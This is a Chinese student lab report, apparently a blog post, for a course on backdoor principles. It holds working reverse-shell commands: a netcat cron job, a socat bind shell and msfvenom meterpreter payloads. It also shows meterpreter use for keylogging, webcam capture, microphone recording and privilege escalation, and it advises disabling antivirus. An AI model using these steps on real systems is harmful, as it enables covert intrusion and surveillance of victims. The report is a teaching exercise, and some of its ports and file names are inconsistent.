《网络对抗技术》——Exp2 后门原理与实践
一、实验目的
- 使用netcat实现win,kali间的后门连接
- 使用socat实现win,kali间的后门连接
- meterpreter的应用
二、实验内容
1. 使用netcat获取主机操作Shell,cron启动
Cron是Linux下的定时任务,每一分钟运行一次,根据配置文件执行预设的指令。
- 
在主机上用ipconfig查看Windows10主机IP 
 ![image]() 
 主机ip(192.168.1.100)
- 
在Kali虚拟机中用sudo ifconfig查看Kali虚拟机IP 
 ![image]() 
 kali ip(192.168.111.130)(ps:本次实验并非一次完成后续ip有变化)
- 
Windows下监听1305端口 ncat.exe -l -p 1305 。 
- 
kali中,通过 crontab -e 指令便捷定时任务, -e 表示编辑。第一次编辑时选择3。 
- 
在打开的文件最后一行添加 43* * * * /bin/netcat 192.168.1.226 1313 -e /bin/sh ,为了能迅速看到效果,将时间设置为了30分(从左至右参数一次为:分,小时,日,月,年),意思是在每个小时的第43分钟反向连接Windows主机的1313端口。 
 ![image]() 
- 
保存退出后配置即生效。可以通过crontab -l来查看,-l表示list。 
- 
在每小时的43分,在Windows可以获取kali的shell 
 ![image]() 
2.使用socat获取主机操作Shell,任务计划启动
在Windows获得Linux Shell
- 在Windows中下载socat
- 此电脑点击右键选择管理,打开“计算机管理”
- 填写任务名称,并新建一个触发器
 ![image]() 
- 在操作->新建->程序或脚本中选择socat.exe文件的路径,在添加参数一栏填写tcp-listen:1305 exec:cmd.exe,pty,stderr,这个命令的作用是把cmd.exe绑定到端口1305,同时把cmd.exe的stderr重定向到stdout上
 ![image]() 
- 创建完成之后,点击任务计划程序库,运行创建的任务
 ![image]() 
- 此时,在Kali环境下输入指令socat - tcp:192.168.1.103:1305
- 这里的第一个参数-代表标准的输入输出
- 第二个流连接到Windows主机的1313端口
- 此时可以发现已经成功获得了一个cmd shell
- (由于输入dir 指令后内容过多,会覆盖获得shell成功的内容,因此没有输入)
 ![image]() 
 

3.使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
在Kali上生成后门可执行程序20194311_backdoor.exe
输入msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.111.130 LPORT=1305 -f exe > 20194311_backdoor.exe,其中
- LHOST为反弹回连的IP,在这里是要反弹给Kali,也就是Kali的IP
- LPORT是回连的端口
- -p 使用的payload。
- payload翻译为有效载荷,就是被运输有东西。这里windows/meterpreter/reverse_tcp就是一段shellcode。
- -f 生成文件的类型
- >输出到哪个文件
 ![image]() 
 ![image]() 
- 在windows上,通过ncat.exe -lv 1305> 20181313_backdoor.exe指令将被控制主机进入接受文件模式, -lv 看到当前的连接状态
- 在Linux中执行 nc 192.168.1.100 1305 < 20181313_backdoor.exe ,注意这里的IP为被控主机IP,即WindowsIP
- 传送接收文件成功,在相应的文件夹下可以查看
 ![image]() 

- 在Kali上使用msfconsole指令进入msf控制台
- 
输入use exploit/multi/handler使用监听模块,设置payload 
- 
set payload windows/meterpreter/reverse_tcp,使用和生成后门程序时相同的payload 
- 
set LHOST 192.168.111.130 ,这里是kali的IP,和生成后门程序时指定的IP相同 
- 
set LPORT 1305,同样要使用相同的端口 
- 
show options,查看详细信息 
 ![image]() 
 ![image]() 
 ![image]() 
 
- 
- 设置完成后,执行监听exploit
- 在Windows下运行后门程序 20181313_backdoor.exe ,运行前应提前关闭杀毒软件的防护
 ![image]() 
- 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
- 
使用record_mic 指令可以截获一段音频,使用 -d 设置录制时间,这里我选择设置时长为10s, -d 10 
- 
使用 webcam_snap 指令可以使用摄像头进行拍照 
 ![image]() 
- 
使用 keyscan_start 指令开始记录下击键的过程(需要在Windows中进行任意输入),使用 keyscan_dump 指令读取击键的记录 
- 
使用 screenshot 指令可以进行截屏 
 ![image]() 
- 
使用 getuid 指令查看当前用户 
- 
使用 getsystem 指令进行提权操作 
 ![image]() 
 ![image]() 
5. 加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
- 使用msf生成shellcode
 msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.1.138 LPORT=1313 -f c
 如上步骤找到返回地址,将反弹连接的shellcode注入
- 在命令行输入命令,生成后门程序
 msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.130 LPORT=1305 -x pwn1 -f elf > pwntest
 开一个新终端,启动 msfconsole
 use exploit/multi/handler
 set payload linux/x86/shell_reverse_tcp
 set LHOST 192.168.1.138
 set LPORT 1313
 show options
 exploit
 在另一终端中输入(cat input_shellcode;cat) | ./pwn1 ,成功获得shell。
 ![image]() 
 ![image]() 
 ![image]() 
 ![image]() 
 ![image]() 
 ![image]() 
 ![image]() 
三、基础问题回答
- 
列举你能想到的一个后门进入到你系统中的可能方式? 
 在下载软件是携带私活
- 
例举你知道的后门如何启动起来(win及linux)的方式? 
 通过运行下载的软件时同步运行,伪装去获取用户的许可权限
- 
Meterpreter有哪些给你映像深刻的功能? 
 它可以越过用户去获取用户的权限,可以截图,拍照,录音。
- 
如何发现自己系统有没有被安装后门? 
 如果电脑经常出现一些异常情况则在一定程度上可认为系统被安装了后门。可以在终端中通过netstat命令查看有无异常开放的端口,通过杀毒软件对系统进行扫描和检测,定期检查自启动项中是否有新增的或者自己不知道的自启动项。
实验体会
本次实验主要是后门,说实话这次实验我做的很痛苦,因为我的msf有问题不好用,刚开始是链接不上,后面链接上后命令行没反应,在后面它发出链接请求后就卡住不动了,没办法又重装了一遍kali,越做越痛苦。结果重装完了以后,用ncat往主机传文件传过来的文件莫名其妙会变大,到最后也没办法解决只能用vmtools把文件拖出来用。虽然做的很痛苦,但是很高兴我能学到后面的相关知识,起码以后在预防的时候知道该怎末做了。
 
                     
                    
                 
                    
                

























 
                
            
         
         浙公网安备 33010602011771号
浙公网安备 33010602011771号